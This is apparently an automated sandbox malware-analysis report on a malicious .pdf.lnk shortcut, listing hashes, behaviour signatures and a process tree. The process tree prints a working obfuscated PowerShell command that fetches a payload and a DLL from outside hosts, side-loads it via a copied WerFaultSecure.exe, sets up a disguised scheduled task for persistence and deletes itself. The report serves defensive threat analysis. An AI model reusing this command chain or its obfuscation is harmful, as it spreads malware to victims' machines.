Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    145s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 05:42

General

  • Target

    186523.pdf.lnk

  • Size

    3KB

  • MD5

    7007778e4e8c98c94d20b0243b7743f1

  • SHA1

    c771ee88e3951e337a26ebfdcfc1218d414dbdad

  • SHA256

    d7b278d20f47203da07c33f646844e74cb690ed802f2ba27a74e216368df7db9

  • SHA512

    25f21b662a55b64818b70d593b680bd3e1e05dbf0ee018cbd3912327006e0d5334df5552e9e469afe01797c3e00fc4c65aefbe45bce943d1944642babee87fcf

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\186523.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3280
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" powershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile "C:\ProgramData\hal";r''e''n -Path "C:\ProgramData\hal" -NewName "C:\ProgramData\wer.dll";c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile C:\ProgramData\hal;r''e''n -Path C:\ProgramData\hal -NewName C:\ProgramData\wer.dll;c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?
        3⤵
        • Blocklisted process makes network request
        • Deletes itself
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3688
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /Sc minute /Tn EdgeUpdate /tr C:\ProgramData\WerFaultSecure /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1348
  • C:\ProgramData\WerFaultSecure.EXE
    C:\ProgramData\WerFaultSecure.EXE
    1⤵
    • Executes dropped EXE
    PID:872
  • C:\ProgramData\WerFaultSecure.EXE
    C:\ProgramData\WerFaultSecure.EXE
    1⤵
    • Executes dropped EXE
    PID:1904
  • C:\ProgramData\WerFaultSecure.EXE
    C:\ProgramData\WerFaultSecure.EXE
    1⤵
    • Executes dropped EXE
    PID:3536

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\WerFaultSecure.exe

    Filesize

    167KB

    MD5

    31ab2e1751e5e446961bf169962ee1c4

    SHA1

    dcd724261283c0f830260258b9ca21c772743169

    SHA256

    1c35464f9a39da371549d8b44ef7838f6b8e17ac1d0aafd8a5593eb7ca960cbb

    SHA512

    c58377203ee48d5d9195a6510c431f6053ff4aa5d46ef83a861e5c6aabd042ae150fd6cec18478e03fd1838fe0f70eac45395e1b5ff1bf23d67735d20611ee89

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0cbuda2.hkv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3688-0-0x00007FFA3B983000-0x00007FFA3B985000-memory.dmp

    Filesize

    8KB

  • memory/3688-10-0x000002A9752E0000-0x000002A975302000-memory.dmp

    Filesize

    136KB

  • memory/3688-11-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

    Filesize

    10.8MB

  • memory/3688-12-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

    Filesize

    10.8MB

  • memory/3688-16-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

    Filesize

    10.8MB